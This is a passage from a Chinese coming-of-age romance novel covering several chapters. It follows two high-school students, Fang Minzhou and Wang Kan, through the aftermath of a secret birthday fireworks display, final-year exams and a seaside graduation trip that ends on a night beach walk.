“……谢谢。”方敏周回道,她摸了摸脖间的围巾,“围巾我很喜欢,但是烟花什么的,下次真的不要再弄了,万一明天老师……” “不会,放心吧,我看了,那边没有监控。”王衎强调,“真的。” 方敏周只好说:“……那我走了。” “嗯,明天见。” “明天见。” 校门口,爸爸的车停在老地方,方敏周比平时晚了不少时间,但爸爸没有多问,而是注意到她脖间的围巾,一边开车一边扭头:“你这条围巾……” “哦……同学送的生日礼物。” “挺好看的,那下次同学生日,你也要记得买礼物还给人家。” 方敏周点点头,看着窗外飞驰而过的街景,她想,她已经还礼了。 第44章 第 44 章 胆量和脸皮真的是能…… 胆量和脸皮真的是能够锻炼出来。 讲台上, 詹老师严肃声明学校禁止燃放烟花爆竹,“你们觉得很刺激很过瘾,万一烧起来或者炸到其他人, 负得起责任吗?” 换做半年前一年前, 方敏周一定会心虚得流汗, 但眼下她却脸不红心不跳——好吧, 其实还是很紧张, 她垂着眼睛假装看书,直到詹老师结束训话开始上课后,方敏周才抬起头看向黑板。 也不知道是不是她心里有鬼, 总觉得詹老师在转身往黑板上写字前看了她一眼。 提心吊胆地上完一节课,下课铃响, 还没松一口气,詹老师让她来趟办公室。 那一刻, 方敏周心如死灰。 跟在詹老师身后走进办公室, 方敏周几乎要不打自招, 但是嘴软, 结果詹老师只是让她把新的练习卷发下去, 然后顺便问她最近学习上有没有问题, 方敏周一一回答,带上办公室的门离开时还觉得不可思议。 但当她得知后来王衎也被詹老师叫去办公室问候过后,方敏周觉得自己的担心并非杞人忧天。 她在Q/Q上和王衎说了自己的猜想, 王衎回她不可能,如果詹老师知道偷放烟花的人是他, 他肯定早就被抓起来了。 方敏周对王衎的武断有些气恼,他怎么不多想想呢? 也许詹老师只是不想班上的学生出事,所以替他隐瞒了下来, 就算詹老师不知道,她先后只叫了他们两个进办公室谈话,显然也有敲打的意思,也许是他们平时什么事情落入了詹老师眼中。 王衎不是不理解方敏周的担忧,但他觉得,那得詹老师开了天眼,都有天眼了还一不骂二不罚,说明这种程度仍在师太包容包庇的范围内,没什么好怕的。 但方敏周让他注意,他也只能回复:好的。 不过,真想问一句,还能怎么注意啊? 学校加强了晚自习的巡逻,抓了些逃课的孤雁、打了些密会的鸳鸯。 私下里,郑彦航说王衎作孽,王衎笑一笑。 “……万一你被抓怎么办?”郑彦航也问他。 王衎耸耸肩。 他起初没有想过放烟花,可只是送个礼物、说声生日祝福,他觉得不够。他十八岁那天,方敏周可是陪了他一整天,送他亲手做的礼物,他们还一起吃了长寿面,他也想给方敏周的这个生日留下些特别的回忆。 放烟花是突然冒出的主意,因为知道有风险,所以没把郑彦航和吴丞拉下水,反正真被抓到了也不可能开除他,另一方面,他也有私心,想要自己一个人完成这个“惊喜”。 所以方敏周才能戴着蓝色的围巾跑来找他,躲在小树林里,同他沦为共犯。太刺激,那天晚上做梦都还梦见她在他怀中,可惜,很快就醒了。 但是,王衎安慰自己,马上就要毕业了。在几乎所有人都在焦虑的当下,他可能是最期盼高考的一个。 有这种想法,有时候王衎也觉得自己疯了。 郑彦航确实觉得王衎要疯了,他和吴丞得知放烟花的人是王衎时,下巴差点掉下来。 其他男生谈恋爱、追女孩,有的嘘寒问暖,有的豪掷千金,但多少有个声响,没见过王衎这种冒险派。 “我觉得你……“郑彦航有口难言。 他倒也想给青春留下点轰轰烈烈的痕迹,但也惊讶王衎有这么喜欢方敏周吗?同时作为朋友,隐隐替他不安,因为至少在他眼里,方敏周怎么看怎么冷静,不免显得王衎剃头挑子一头热,但吴丞让他别乱猜想,他们又不知道这两个人私底下发生了什么。他想想也是,最后还是闭嘴,让王衎好自为之。 王衎莫名其妙的。 转眼期末考,这次排名波动很大,但王衎堪堪考到了第四十名,方敏周考得也不错,不过王衎知道她是不满意的,她和他提过,她想要进前十。 离校这天下午两点就放学,方敏周爸妈要上班,所以她难得终于可以自己回家,王衎当然不会错过这个机会,他请她喝奶茶,然后两个人慢慢走在冬天也不落叶的林荫道下,和煦的阳光铺满大地。 方敏周一边喝奶茶一边听王衎讲冷笑话,看了他一眼,他也看她,小心翼翼,有点窥探她反应的意思。 于是方敏周知道王衎误会了,他可能以为她现在心情很差,但其实……还好,稍微有些失落,毕竟又没进前十,期末考又比月考更重要,错题本撕了一些、补了一些,还是有题目不会,但好歹比月考的排名高。 考试考得人真的麻木了,不过心态似乎也变得比较稳定,尽管这种稳定大概率是分数带来的,但方敏周再想起高一高二那个一考差就几乎要吃不下饭的自己,恍如隔世,渺小而陌生,让她心酸。 她想,现在的她要是再跌出前五十乃至前一百,不会也不应该再那么慌张,因为就像詹老师那时说的一样,她回过头来看到的既然是自己的努力和进步,就得对自己有信心。 “其实,你和段十就差九分,两三道选择题而已。”王衎憋出一句话。 方敏周摇头,“不只是两三道选择题的差距。” “我是想说……”王衎紧张了。 方敏周倏然一笑,不再装严肃:“我知道啦,我没事。” “……真的吗?” “真的。” 她只是想让王衎重视每一分的差距。 而王衎见方敏周脸上有笑,便忍不住在她面前雀跃起来,他觉得以目前的情况来看,自己考上江大还是有那么点希望的,之前还以为一辈子都要卡死在段前五十了。 方敏周都不想说他古诗词默写被扣分的事情,“有一个词。” “什么?” “渐修顿悟。” “……啥?” “……”方敏周一一解释是哪四个字,“这个成语的意思是,你的一切成果都是来源于你的慢慢积累。” 见王衎沉思不说话了,方敏周不禁迟疑:“……你是不是觉得我在打击你信心?” “没有。”王衎看向她,像是要把她看仔细了,继而爽朗大方地笑道,“我觉得你在肯定我的努力。” 太阳暖洋洋的,奶茶也暖着手心,方敏周的脸热起来,但目光不再躲闪,她承认:“……嗯,我是这个意思。” 高三寒假很短,两个星期不到,元宵节前就要返校,元宵节当天倒是早了一节晚自习放学,并且食堂供应了免费的汤圆,欧阳茜戏称这是一中的人文关怀。 日子一天天、卷子一张张,百日誓师后,每个班级后面的黑板上都多了一条励志横幅,黑板旁边的公告栏多了一个高考倒计时的日历,又红又大的数字,方敏周不知道谁在负责这个日历,但每天到教室的时候,日历都已经被掀到新的一页。 高三楼一楼也摆出了倒计时牌,方敏周听元月说,女寝进门的小黑板上,宿管阿姨也在更新日期,“阿姨人很好,还会在上面写一些加油鼓励的话。” 不过没过几天,七班的横幅和日历都被詹老师叫班委摘下。 “意思意思差不多了,反正你们现在到哪里都看得到,搞得跟要世界末日一样,我们班的教室里就不要搞这么大压力了,大家就当作没高考这件事,”说到这,詹老师停了停,“不是真当没高考啊,需要被激励的,自己搞个小的。” 全班都笑了。 春分过后天气渐暖,方敏周最高兴的是天终于重新亮得早了。之前她睁眼摸黑上学,然后教室里坐一整天,等放学又是黑漆漆的天,只有卷子是白花花的,现在能迎着阳光出门,有种已经熬过黑夜的感觉。 这天吃完晚饭回到教室,方敏周注意到尹梦然好像在对着自己的试卷发呆。 她这学期重新回来上课,听说校考艺考的成绩不错,高考不出意外,就能去很好的传媒大学,而她成绩本来就不错,这让不少人羡慕不已,虽然不比保送生,但也算是一只脚踏进了梦校的大门。 但忽然,方敏周看到有两颗硕大的眼泪从尹梦然眼中掉下。 方敏周被吓了一跳,尹梦然也是一惊,慌里慌张地抹了把脸,方敏周没来得及假装自己没看到,四目相对,尹梦然红了脸。 她们不算熟,坐同桌这段时间,偶尔互相分享零食,偶尔尹梦然会问问她题目,但现在,方敏周才知道,她没有大家以为的那么轻松。 所有人都在奋力凫水。 尹梦然不好意思地朝方敏周笑了笑,尴尬解释:“我也不知道怎么回事,就是眼泪忽然掉下来了,可能是眼睛太酸了。” 方敏周点点头,拿了一张纸巾摁了摁她卷子上的泪迹,被洇湿的是一道数学大题,只代了数,思路还没有展开。 “这道题还挺难的。”方敏周说。 尹梦然顿了顿,看了眼方敏周,“……嗯,我还没想好怎么写。” “二次求导就可以了。”方敏周拿过笔,顺其自然地在草稿本上推演。 尹梦然吸了吸鼻子,又瞄了眼方敏周,收回目光,开始认真听讲,听懂了,小声地说了句“谢谢”,方敏周回“不客气”。 两个人渐渐熟悉,尹梦然话多起来,没多久,她艺考发生了什么事情,方敏周和欧阳茜都已经一清二楚。 一模考试成绩出来,方敏周段十二,尹梦然远超过拟定的本科线,王衎段三十六。 班上忽然开始流传一个说法:方敏周很“旺同桌”,和她坐过同桌的人成绩都会变得很好。 方敏周本人听到这个传言的时候觉得很荒谬,临近大考,再唯物主义的人也变得开始相信玄学。当然,大家只是开玩笑,但方敏周较真地解释了:无论是王衎还是尹梦然,他们成绩好都只是他们自己努力的结果,和她没有关系。 她觉得这种说法不太尊重他们。 结果另外两个人倒是都挺赞同,尹梦然唯一不高兴的点在于她考得没有王衎高。 “其实高二一开始的时候,我成绩比王衎好。”尹梦然说,“真的。” 方敏周:“我知道。” 高二一开始的时候,全班一大半同学成绩都比王衎好。 解释归解释,多了一些同学来问方敏周问题,她都会帮忙解答。 欧阳茜怕她是不好意思拒绝别人,“别影响到你自己复习。” “不会。”方敏周说着失笑,“不过大家问我的题目还挺难的,其实我觉得现在不用写太难的题目了。” 欧阳茜也跟着笑,忽然静下来,看着方敏周:“我觉得……” 可是她又不把话说完,以至于方敏周追问:“什么?” “算了,我还是不说了。” 方敏周挑眉,“说吧,没事。” “我是觉得……”欧阳茜慢慢道,“你高考一定会考得很好,但我怕说出来让你压力更大。” 方敏周一怔,随即一笑:“不会啊,这不是祝福吗?你也一定会考得很好。” 欧阳茜乐呵呵地点头。 给别人讲题是很有效的学习方法,虽然方敏周以前也会和金柏浩还有欧阳茜讨论问题,但主要是校对答案,真正实践这个方法并切实感到有用,其实是在她给王衎补习的那段时间。 她看王衎,有时有种看自己第一个学生的感觉。 王衎偶尔还是会来问她问题,但最近几次,她都正在给尹梦然讲题。 有次王衎一直没走开,就在旁边听,而尹梦然也跟没看到王衎似的,问完一题还有一题。方敏周向王衎使眼色,王衎视若无睹,直到忙着计算的尹梦然若有所感地抬起头。 当时方敏周生怕尹梦然看出端倪,但她好像没有察觉,而是问她接下来该怎么写,她还是不会。 那天晚上方敏周收到王衎的消息,他说尹梦然在挑衅他。 方敏周回了一个问号。 王衎:你还记不记得今天是什么日子? 方敏周心里又是一个问号。 看了下时间,四月三号,是什么日子? 马上又要二模的日子? 电光石火间,她想起了一年前那个绵绵的雨夜,男生煞有介事地拿出手机,边打字边说:“……四月三号,晚上十点二十三,我记一下,喏,这样不就记得了。” 方敏周心一动,打开窗户,暂时雨歇,空气中满是潮湿的草木气息,今年的四月三号马上就又要过去了。 她很不好意思,但也哭笑不得,想回“记得”,但还是诚实道:忘记了,但现在想起来了 王衎:还说我会忘记 王衎:你一点都不放在心上 方敏周只有含糊回:之后记得了 王衎发来一个拉勾的表情。 二模结束后不久,樟城体育中考,一中是考点之一。 站在走廊上远眺,能看到操场上热火朝天,也看到了零零散散游荡的几个男孩女孩,估计是考完了,正好奇地参考这座校园。 对于高三生来说,正也是分秒必争的时候,但这个晴朗温润的春日课间,却有不少人结伴靠在栏杆上,吹着风聊着天,回忆初中岁月、感慨峥嵘往事,也带着点阿Q精神:至少高考不用跑八百米和一千米。 “你中考体育在哪里考的?”欧阳茜问方敏周。 “就在一中。”方敏周说,“你呢?” “二中。”欧阳茜说。 “我也在二中。”郑彦航忽然凑到欧阳茜旁边。 和他一起的王衎,自然而然地站在了方敏周的左手边,顺手把就要走过的吴丞拉过来一起趴着。 方敏周靠近王衎的那半边身体发热,但面上若无其事地继续望着操场,王衎也不说话,几个人,只有欧阳茜和郑彦航努力搭话,好显得他们这一排人不奇怪。 上课铃响,大家往教室走去,方敏周转身的瞬间与王衎停留的视线相触,然后很快别开,一个和朋友挽上胳臂,一个待在原地摸了摸脖子。 轻轻地用一个眼神确认彼此的存在。 春风拂面,隐隐约约还能听见远方稚气的加油声。声量渐大,高一高二的学弟学妹们仰着脸高喊着“高考必胜”,楼里的学生挤满了走廊,欢呼地扔下用试卷做的纸飞机。 这种情况下,方敏周就是想继续看书也看不了,于是她也撕下一张草稿纸,刚折好,王衎抬着手,架着一只纸飞机在她座位边跑过。教室空荡荡的,连孙彤都不知道去了哪里。方敏周忍俊不禁,起身跟上王衎,人群吵嚷,没有人注意他们。 两架纸飞机从二楼起航,在歌声中加入纷纷落落的航队里,很快就在夜色间不见了踪影,也不知道谁的那架飞得更远。 潮热随风扑面而来,铃声大噪,方敏周放下笔走出考场,波光粼粼的夏天在她面前展开。 第45章 第 45 章 “头抬起来一点,再…… “头抬起来一点, 再抬起来一点,对,然后你把手举起来压着帽子, 右手右手……” 橙红色花束瀑布似的落在灰白色的墙垣前, 游客如织, 方敏周在欧阳茜的指导下摆出pose:侧靠向在花墙, 右手压着针织草帽的帽檐, 她的脸热热的,一半是被太阳晒的,一半是不好意思。 “好的, 微笑,把眼睛闭上。” 方敏周如是照办, 漏过花枝和草帽的阳光在她眼前跳跃,没等到欧阳茜说“好了”, 先听见她抱怨:“王衎, 你挡到镜头了。” 方敏周眼皮微颤。 过了几秒, 终于听见欧阳茜说可以了, 她才睁开眼睛。一片红红黑黑的色块远去, 她适应回明亮的光线, 就看见王衎歪着脖子瞄欧阳茜的手机屏幕。 方敏周:“……” 张了张嘴,羞也不是,怒也不是。 欧阳茜挥手赶王衎:“过去过去, 给你们拍一张。” 王衎手作拳掩在嘴边清了清嗓,大摇大摆但实际有点别扭地走到方敏周旁边。 方敏周下意识要躲, 但硬着头皮站定了,低头看着自己的鞋尖和地上细碎的落花,等视线里出现了另一双白色的球鞋时, 她才抬起头,假装镇定地看向欧阳茜的镜头。 也不是第一次拍合照,但是小学生徐冉抓起手机拍就拍了,不会说这样的话:“靠近一点,站那么远干嘛。” 方敏周愣是没动,眼神都没偏一下,但感觉到王衎向她挪了一步,然后又是一小步,两个人的衣服袖口在暖热的夏风中几乎贴着。 欧阳茜还不满意,让牵个手或者贴个脸,“你们两个到底有没有在谈恋爱啊?” 方敏周脑袋轰隆一下炸开,不想拍了,却突然被王衎搂住了肩膀。 “诶对了对了——”欧阳茜拉长了音。 方敏周错愕地看向王衎,王衎憋着笑,垂眼与她对视。一两秒,他舔了舔嘴,什么也没说,扭过脸,露出通红的耳廓。 方敏周心跳一阵加快,晕晕乎乎地也重新面向镜头。头是转过来了,注意力还全在王衎环着她的那只手上。 她想起去年冬天在小树林里偷偷摸摸的那个拥抱,但彼时两个人都穿得厚重,不像现在,夏天的衣衫单薄,她几乎能感觉到王衎手臂的肌肉和体温,还有……他握着她的力度,一开始有点用力,过了会,大概是有所意识,微微放松了点。 时间过得真快,怎么突然就光明正大地站在了六月的阳光里? 但说是光明正大,也不尽然。 这是毕业旅行的第三天,不过是现在大家都分散开来,而附近只有他们三个,所以欧阳茜才敢肆无忌惮地打趣他们。可是虽然没有同学,也有路人投来目光,天本来就热,方敏周觉得自己要中暑了。 毕业旅行这件事,主要是尹梦然张罗的,原计划几个要好的女生一起,后来队伍渐渐扩大,不知道什么时候,就多了王衎。不过方敏周本来就想出去玩,和王衎单独不可能,那么这样也挺好。 她对爸妈是先斩后奏,担心他们会觉得不安全或者要等成绩出来再说,没想到他们很爽快地同意了,问方敏周都有谁去,方敏周报上欧阳茜和尹梦然的名字,“……大概十几个同学吧。” “有男生吗?”妈妈问。 方敏周心一惊,“……有。” 妈妈反而觉得有男生挺好,这样互相有个照应,"你们自己要小心,酒店订好一点的,外面吃东西要注意卫生。” 方敏周不敢看她爸,连连点头应声。 最后敲定四天三夜的行程,目的地是一座位于更南边的海滨城市。 第一天上午乘动车出发,下午一办完入住,大家就顶着烈日打卡行动。从酒店附近的步行街一路至大学城,在看日落的沙滩上看到穿着学士服拍毕业照的学长学姐,那画面对他们这群准大学生们来说,陌生遥远而又有点向往。晚上去夜市吃海鲜排档的时候,还碰到了隔壁桌在吃散伙饭,大家都竖着耳朵,非常感兴趣地听他们天南地北地聊天,好像老天泄密,提前让他们预知了四年后的未来,尽管很多事情听不太懂。 第二天早早奔向码头去附近的小岛一日游。 前两天的行程又累又赶,众人面前,方敏周和王衎还是装着不熟的模样,虽然大家看他俩的眼神已经很暧昧——之前谢师宴后的ktv,王衎不唱歌的时候就坐她旁边,她也不好赶他,以至于被在场的其他人频频打量。那时方敏周颇有点“前功尽弃”的感觉,但也感到了解放,如坐针毡地接受目光审讯,煎熬中感到一丝甜蜜。 但其实……她和王衎还没捅破彼此之间的那层玻璃纸。 他们高考在不同的考场,谢师宴是他们考后第一次见面,自然隔着一段距离,ktv包厢又吵又闹,直到散场后爸爸来接她,她和王衎也没好好说上几句话。 虽然每天都有在Q/Q上聊天,但内容和之前也差不多,以至于方敏周都有点疑惑,恋爱……要怎么谈?本来她就对两人的关系感到心虚,遮遮掩掩太久,到了能公开的时候,反而不知道该怎么把它摆到台面上了。 现在是要像盖章一样,说一句“我们可以交往了”这样的话吗?就算要说,也应该当面说吧,比较郑重,而她隐隐觉得,王衎也是这样的想法。 莫名其妙的仪式感,反正两年都这么过来了,也不差这两天。 今天自由行动,有人去探店有人去植物园,方敏周和欧阳茜几个同学选择下午来逛渔港边上的居民社区,本三三两两分开,王衎不知什么时候跟到她和欧阳茜身边。 终于拍完照,她立刻同王衎拉开距离,而他顺势慢悠悠地收回手,很无辜地朝她耸耸肩。方敏周好气又好笑,快步向欧阳茜走去。 “不都考完了,怎么……”欧阳茜一开口,方敏周就想要捏住她的嘴巴。 “那个,”跟过来的王衎眼神飘忽,“照片记得发我。” 欧阳茜冲王衎笑笑、冲方敏周笑笑:“回去就发给你们。” 她考虑给两个人一点独处空间,但还没找到机会闪人,王衎自己给自己找事,问:“要不要吃刨冰?我去买。” 说完就跑向不远处一家排着长队的小店。 欧阳茜看向方敏周,方敏周忽略欧阳茜揶揄的表情,拿出自己的手机,转移话题,“我还没帮你拍照。” 欧阳茜觉得两个人红透了的样子有点可爱。 等方敏周给欧阳茜拍完照片,王衎那边队伍差不多排到了,她和欧阳茜走过去,王衎和她确认:“蓝莓味?” 方敏周点头。 欧阳茜撇嘴,对店主阿婆喊道:“我要芒果味的!” “好的小姑娘!”阿婆热情回应。 方敏周这才发现自己又被欧阳茜看了笑话,脸更红了,把帽檐再往下按了按。 王衎从阿婆手中接过刨冰递给她,方敏周像是第一次注意到他手背至小臂上明显的青筋,像植物破土而出的根茎脉络,消失在结实的上臂肌理中。 刨冰冰得烫手,不经意触碰到的对方的指尖更烫。 三个人沿着这片文化社区的小路继续漫无目的地走,兜兜转转遇上了其他人。 有男生挤眉弄眼,“哎哟哟”地叫起来,王衎看了眼喝着刨冰不语的方敏周,走过去示意他们乖乖闭上嘴巴,于是男生们打打闹闹、吵吵嚷嚷地追赶起来,一步三回头,女生们则慢慢走着。 “好喝吗?”尹梦然问方敏周手中的刨冰。 方敏周:“嗯。” 不过尹梦然显然只是拿刨冰当个开场白话题的,“我之前一直没问你……” 方敏周猜到了她要问什么。 “所以你和……”她示意王衎。 方敏周有点窘。真的假的,搞得像什么博物鉴定,但……她点了点头。 尹梦然突然重重地仰头叹了口气,方敏周一愣,随即笑出了声,尹梦然也跟着笑起来,语气感慨:“我就知道。” 这下方敏周又惊讶了。 “我很聪明的好吧,我就没见王衎问其他女生问题。”尹梦然说,“你们瞒得太好了,其实大家都猜到了,但是,又觉得好像不太可能。” 方敏周抿抿嘴,不作辩解。 尹梦然碰了碰她的肩膀,“你知不知道我什么时候开始怀疑的?” 方敏周看着她。 尹梦然停了一会,见方敏周一点儿也不着急,落败,“高二运动会,我们一起去小商品批发市场的时候。” 方敏周想了想,那个时候她和王衎还完全没有什么吧,“为什么?” “很明显啊,他请你吃鸡蛋仔。” “他经常请客啊。” “哪有,我就没被请过啊。”尹梦然说,“而且他真的要请,怎么就只买了两个。” 方敏周哭笑不得,被尹梦然这么一说,想起那天的事,居然还有点怀念,不过那天最后他们好像又吵了架。 尹梦然忽然又问:“……我们是朋友吧?” 方敏周奇怪,“是啊。” 尹梦然露出难以启齿的表情,然后下定决心般:“那有件事我要和你坦白,因为我觉得……这样以后我才好意思继续和你当朋友。” 方敏周心中升起疑惑,她想不到能有什么事情。 “但是我说了之后,你也不能生我的气哦。” 方敏周失笑,答应她。 “我之前……算对王衎有过好感吧,但是——”尹梦然加了重音,手势比划着,“只是一、点、点的好感,就是高二刚开学那会,我纯属无聊,真的,就是觉得他好像长得还行,在我们这个班级里面啊,但后来就没感觉了嘛,反正我发现他喜欢你的时候,其实还挺惊讶的,就觉得……你们两个特别不一样,不过我以为你不会喜欢他,虽然我们两个当时完全不熟,但我们坐同桌的时候,我就感觉,诶,不对,怎么王衎还会来找你问问题,你们两个关系有这么好吗,我当时突然就觉得他特别烦……” 正滔滔不绝,尹梦然猛地闭上嘴巴:完了,怎么变成在方敏周面前说王衎的坏话了? “扑哧。”方敏周笑了。 其实……她不是没有察觉的,但当时是什么样的心情?竟然有点想不起来了。 尹梦然松了口气,挽上方敏周的胳膊,撒娇:“是不是很烦?明明我们两个才是同桌……” 方敏周附和。 “我记得你们一开始关系就是很差啊,所以,你什么时候喜欢上他的,你喜欢他什么,你也看脸,不会吧?” 方敏周要被尹梦然逗笑,“我不知道诶,没有想过。” 真的没有想过。 不过她好像问过王衎这个问题,只是,他也没有回答她,她其实,也不在意他的回答。 喜欢一个人,不就是喜欢一个人的全部吗?至少是目前所了解的全部。不知道自己这样的思考方式是不是有点太单线程?方敏周心想着。 好比一道题目,会就是会,不会就是不会。对于一知半解的题目,绞尽脑汁思考或许也能写出一点步骤得一点分数,一个不感兴趣的人,仔细挖掘也能找出对方身上的闪光点,但前者得不到满分,后面不是真正的喜欢。 “诶,去不去吃饭?” 她和尹梦然落后太多,前面的同学回头喊她们。 他们正走在一条上坡路,远山近树,两边彩色的房屋在夕阳下如梦如幻。 “吃!”尹梦然高声回道后,最后好奇问方敏周,“你们志愿想好怎么填了吗?” “等高考成绩出来再看吧。” “也是。”尹梦然说,“不过你肯定没问题。” 方敏周微微一笑,“谢谢,你也是。” 对于高考考得如何,至少他们这十几个人都闭口不谈,但旅游途中有特地去到当地的寺庙,有模有样地虔诚上香拜了拜。 爬着坡,很累,但大家表面上都嘻嘻哈哈的,谁大喘气还要被笑,还好,再累再长的路都有终点,一帮人终于爬到了坡顶,放眼望去,风光无限,太阳几乎触手可及。 第46章 第 46 章 一行人在渔港附近随…… 一行人在渔港附近随便找了家本地餐馆, 味道超于预期的好。 回到酒店,时间还早,大家聚到其中一个房间聊天玩游戏。前两晚因为本就是深夜才回到酒店, 所有人精疲力尽洗漱完倒头就睡, 但最后一晚, 好像不能不放纵一下。 有男生从便利店买来了啤酒和扑克牌, 王衎在气氛下拉开拉环都喝了两口了, 才注意到一旁方敏周投来的目光。 他差点一口酒全喷出来,忘了之前在ktv,他看方敏周不喝酒, 也就都陪着喝可乐。着急忙慌想挽救形象,可惜为时已晚, 欧阳茜挡在了他们中间,王衎默默把酒咽下。 “你会打扑克牌吗?”欧阳茜问。 方敏周摇头, “我只会24点。” 旁边听到的人没忍住笑了, 但其实不止方敏周一个人不会, 欧阳茜干脆把不会的都号召到沙发这边, 而本身会玩的, 已经在床上地上斗起了地主。 金柏浩不好意思地推了推眼镜, 坐了过去。王衎看见了,也想混进新手村。 他其实没想过金柏浩会来,林斯年就没来, 估计是没兴趣,但装模作样地在群里道歉, 说自己有事,很遗憾云云。 结果被欧阳茜边洗牌边好笑地瞅着,“你不会?” 王衎:“……” 另一边郑彦航故意似的喊道:“王衎, 三缺一,快过来!” 大家没有恶意的窃笑声里,方敏周低头不语,王衎不想让她尴尬,自己也有点脸红。看到方敏周拿出了手机,他蓦地心领神会,到郑彦航旁边坐下,发牌发到一半,才假装漫不经心地拿出手机看了看。 方敏周:少喝点酒,别玩太过头。 王衎抿住嘴角,转头去找方敏周。她坐在单人的沙发上,侧对着他,随手把碎发挽至耳后,这种“课”也听得很认真。 王衎重新看回牌,但还是忍不住要笑,一颗心在身体里乱窜,火烧火燎的。舔了舔发干的嘴唇,又灌了一口冰凉的酒水。 郑彦航瞄了眼王衎,奇怪道:“你能不能喝酒啊,才喝多少啊,脸就红成这样?” “热的。”王衎平静地说。 “空调已经只有二十度了。” “二十度?你们还热,我都快冷死了。”有女生听到插了一嘴。 男女生的体温不一样,王衎不禁又去看方敏周,她穿的裙子,不知道冷不冷。这么想着,王衎起身找到遥控器,在一众男生的劝阻哀嚎中调高了温度。 被笑骂重色轻友,王衎回:“心静自然凉,哪有那么热。快点,到你了。” 方敏周硬着头皮分析自己手里的花色,装聋作哑,听不见也听不懂大家的揶揄。 一开始会玩的和不会玩的两帮人,一边男生居多,一边女生居多,后来欧阳茜教学完成,大家就玩混了。 方敏周学得很快,但兴致了了,毕竟她要是感兴趣的话早就学了,后来她把牌位让给其他人,去看电视,途中从王衎身后经过,瞄了眼他手里的牌,非常烂。 不过电视还没看多久,又被拉去凑人头玩真心话大冒险。 方敏周宁可回去重新打牌,但人已经被摁着坐下,甚至酒瓶第一个指到的就是她。 一圈人则你看看我、我看看你,想要客气又跃跃欲试,旁边打牌的声音也小了。方敏周暗暗咬牙,但在众人的瞩目中,她表面无所谓地说:“我选大冒险。” “啊?别啊……” “别什么,就大冒险吧。”欧阳茜帮方敏周说话。 方敏周始终保持着微笑。 想要问的八卦问不了了,而大冒险……尺度又不好拿捏,最后是一个女生提议:“和在场任何一位异性……对视十秒钟。” 刚有男生鬼叫,方敏周已经爽快答应了,直接选了坐她旁边的金柏浩。 金柏浩“啊”了一声。 下发指令的女生这下非常懊悔没有指名道姓,欧阳茜则立刻开始倒计时:“十、九……” 在别人看不到的地方,方敏周几乎要掐住自己的大腿,就是猜到了大家要干嘛,所以才不想玩这个游戏。 金柏浩跟玩一二三木头人似的,一动不敢动。十秒结束,方敏周朝他感激一笑,金柏浩也笑笑,这才抬了抬微微滑落的眼镜。 没了热闹瞧,郑彦航惋惜地叹了口气,用胳膊肘捅了捅表情难看的王衎,心里好笑,但还是说了句人话:“干嘛,又没什么,不然还真找你啊?” 是没什么,王衎回过头。 谁都知道他和方敏周才是一对,谁都知道金柏浩这人有多呆,谁都知道方敏周选金柏浩只是为了避免闲话。 但还是不爽。 不爽不爽不爽。 王衎又闷了口酒。 两种想法在他脑海中天人交战。 一会儿他很后悔,觉得要是高考完没得意忘形,继续和方敏周演戏,她也不会因为不想被起哄反而避着他,一会儿又恶狠狠地想,反正都考完了,大家都知道了,为什么还要遮遮掩掩的?这日子什么时候是个头? 方敏周幸运地轮空了几轮,借口要去洗手间,这回没有人还要硬留她了。在卫生间仔仔细细洗了遍手再出来,酒瓶子正转得飞快,方敏周自然而然去玩狼人杀。 越玩越迟,还叫了夜宵外卖,调高了的空调重新调低。 高三的时候经常熬夜,高考结束后,方敏周就调回了十一点睡觉的生物钟,到了时间点,困意反反复复,她后来去阳台上吹了会风,再回到房间时,有些人已经就地睡了,有些人打着哈欠准备回自己的房间,还有些人强撑着继续打牌。 方敏周也想走,但找不到欧阳茜,她们的房卡在她身上。不过熬过了最困的那个点,现在她倒是没那么想睡觉了。 再在室内找了圈,也没有看见王衎。 已经走了? “欧阳好像出去打电话了。”有同学对她说。 “哦,好,那我到外面等她。”方敏周说。 走出房间,却先看到靠在门边的王衎,方敏周一愣,带上门:“……你还没回房间啊?” “嗯。”王衎用鼻音应了声。 距离得近,方敏周闻到了王衎身上的酒气,不禁微微皱眉:“你这是喝了多少?” “没多少。”王衎站直了身体,“喝了一点,你要回房间了吗?” “我等茜茜。” 王衎“哦”了声,没动,两个人在不甚明亮的走廊里沉默了会。方敏周垂着眼睛看地,地上铺了吸音的地毯,没有影子。 “要不要……出去走走?”她听见王衎问她。 方敏周抬起眼,他的神情模模糊糊的,难以分辨有几分醉意,但眼神看起来还是清醒的。 方敏周想了想,给欧阳茜发了条消息,然后对王衎说:“走吧。” 酒店距离最近的沙滩就一条街的距离,凌晨的海风有丝丝的凉意,因为是商业区,仍有一部分店面开着,食客零星。他们穿过空旷的马路,走到银色的沙滩上,璀璨的灯光落于身后,深蓝色的夜幕尽头,黑色的浪花声声翻涌。 这是方敏周第一次看到晚上的大海。 月亮躲在云后,渔火点点,但极其渺茫,不同于日出的璀璨和日落的瑰丽,此时看不见边际的海平面像一块被磨开的砚台,黑沉晦暗。白天彩色热闹的画面变成了记忆里的海市蜃楼,有点压抑,但大海又像黑洞似的,吸走了所有情绪。 涛声阵阵。 一路过来,王衎都没有说话。方敏周想到醉汉走不了直线的说法,落后几步偷偷检查,他两手插着裤兜,若有所思地微微低头,趿拉着脚步,白色短袖被宽平的肩膀撑开,风吹过,像一朵有点落寞的浪花,但不像喝醉了的样子。 至于他在忧郁什么…… 因为旅途要结束了?还是在担心高考出分?还是……因为刚才的真心话大冒险——方敏周觉得这个可能性很大,但不好证实。万一是真的,显得王衎格局很小,万一不是这个原因,又显得她自恋。 “要不要把鞋子脱了?”王衎突然转头,倒退着走。 “啊?” 方敏周很快反应过来了,王衎指得是踩海。 前两天为了方便走路,她穿的都是帆布鞋,去沙滩也就只是在海浪线边缘走几步,今天倒是换了凉鞋。 上一次踩水还是很小的时候。 方敏周说“好”,停下来弯腰解开凉鞋系带,但在脱下一只鞋子的瞬间,莫名有些害羞,下意识地抬头看向王衎,却见他也怔怔地望着她。 月光明明那么遥远,却在此刻照亮了彼此无处遁藏的心思,干净而深幽,像夏天里满墙的绿色藤蔓,一眼清爽,但背后枝干错综复杂。 两个人匆匆别开视线,海风不停,方敏周身上一阵热一阵凉,有点犹豫,但把鞋子穿回去好像更奇怪,一不做二不休,赶紧把另一只也脱下。 赤脚踩在沙滩上,趾缝间立刻沾满了沙粒。 他们把鞋子并排摆在沙滩的一块石头旁,一大一小,整齐得有点滑稽,然后在平稳的浪声里走向大海,一步一步,脚底的沙滩从柔软干燥变得湿重扎实。 第一波海水漫过脚背,冰凉凉的,虽然轻柔,方敏周还是低低叫了声,看向旁边的王衎,他也在笑。 